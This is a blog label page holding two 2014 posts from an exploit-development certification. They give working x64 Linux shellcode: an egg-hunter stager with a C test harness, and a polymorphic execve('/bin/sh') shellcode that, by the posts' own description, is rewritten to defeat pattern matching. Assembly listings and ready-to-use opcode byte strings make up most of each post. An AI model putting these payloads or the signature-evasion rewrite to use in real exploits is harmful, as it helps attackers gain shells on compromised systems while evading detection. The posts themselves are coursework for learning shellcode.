Showing posts with label local shell. Show all posts
Showing posts with label local shell. Show all posts

Wednesday, December 24, 2014

x64 Egg-Hunter Shellcode Stager

The "egg-hunter" is a form of staged shellcode that is useful when you can inject a large payload into a process but aren't sure where in memory it will end up. If you can get the instruction pointer to point to a smaller, hunter code, you can search memory to find the main payload, which is prepended with a small tag of bytes (the egg). Egg-hunter code, even moreso than other shellcode, needs to be as small as possible.

Here is an example that assumes our main payload will be farther down the stack. Recall the stack grows toward lower addresses, so we will load the current stack pointer and increase it, going back toward higher addresses (the bottom of the stack). The egg is a simple 4-byte sequence that we are searching for, and we jump to what follows it.

BITS 64

egg equ  'z0x0'

global _start
section .text

_start:
    push rsp                  ; load current stack pointer
    pop rcx
    add rcx, 0xff             ; we need to skip our own code

hunt:
    inc rcx                   ; higher addresses
    cmp dword [rcx - 4], egg
    jne hunt

found:
    jmp rcx

This assembles down into a nice compact 20 bytes.

\x54\x59\x48\x83\xc1\xff\x48\xff\xc1\x81\x79\xfc\x7a\x30\x78\x30\x75\xf4\xff\xe1

Remember RCX begins at the stack pointer, the start of our hunter shellcode. We don't want to accidently find the egg that is within our hunter shellcode (doing so in this case will result in an infinite loop). Since we know this shellcode is 20 bytes, we add 4 to it (since the compare subtracts 4) to skip completely over all of our own code, and dig deeper down into the stack. So in the final payload we can replace the addition of 0xff to RCX with 0x18 (decimal 24).

Finally, here is a C example that sets up a dirty stack, which has a local shell payload for the egghunter to find. It is compiled with: gcc -m64 -z execstack egghunt.c

int main(void)
{       
    char egghunter[] =
        "\x54"                          /* push   %rsp */
        "\x59"                          /* pop    %rcx */
        "\x48\x83\xc1\x18"              /* add    $0x18,%rcx */
        "\x48\xff\xc1"                  /* inc    %rcx */
        "\x81\x79\xfc\x7a\x30\x78\x30"  /* cmpl   $egg,-0x4(%rcx) */
        "\x75\xf4"                      /* jne    6 hunt */
        "\xff\xe1"                      /* jmpq   *%rcx */;

    char stackgarbage[] = 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

    char eggpayload[] = 
        "z0x0"                          /* egg */
        "\x31\xf6"                      /* xor    %esi,%esi */
        "\x48\xbf\xd1\x9d\x96\x91\xd0"  /* movabs $str,%rdi */
        "\x8c\x97\xff"                  /* . */
        "\x48\xf7\xdf"                  /* neg    %rdi */
        "\xf7\xe6"                      /* mul    %esi */
        "\x04\x3b"                      /* add    $0x3b,%al */
        "\x57"                          /* push   %rdi */
        "\x54"                          /* push   %rsp */
        "\x5f"                          /* pop    %rdi */
        "\x0f\x05"                      /* syscall */;

    (*(void(*)()) egghunter)();

    return 0;
}

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Sunday, December 21, 2014

x64 Linux Polymorphic execve() shellcode

There are many versions of execve shellcode for both x86 and x64 Linux. These work by executing some variation of the system call execve("/bin/sh", 0, 0), granting a local shell. Here is one of these shellcodes from shell-storm.
 
; [Linux/X86-64]
; Dummy for shellcode:
; execve("/bin/sh", ["/bin/sh"], NULL)
; hophet [at] gmail.com

global _start
section .text
_start:

    xor rdx, rdx
    mov rbx, 0x68732f6e69622fff
    shr rbx, 0x8

    push rbx
    mov rdi, rsp
    xor rax, rax
    push rax
    push rdi
    mov rsi, rsp

    mov al, 0x3b
    syscall

It assembles to 33 bytes, as follows:

\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

Here is a polymorphic version which defeats pattern matching by changing the instructions, and rearranging the order things are done.

_start:

    xor esi, esi

    mov rdi, 0xff978cd091969dd1

    neg rdi
    mul esi

    add al, 0x3b

    push rdi
    push rsp
    pop rdi

    syscall

The polymorphic version comes in at 24 bytes, which is actually shorter than the original. This means we could add NOPs to be even more polymorphic.

\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360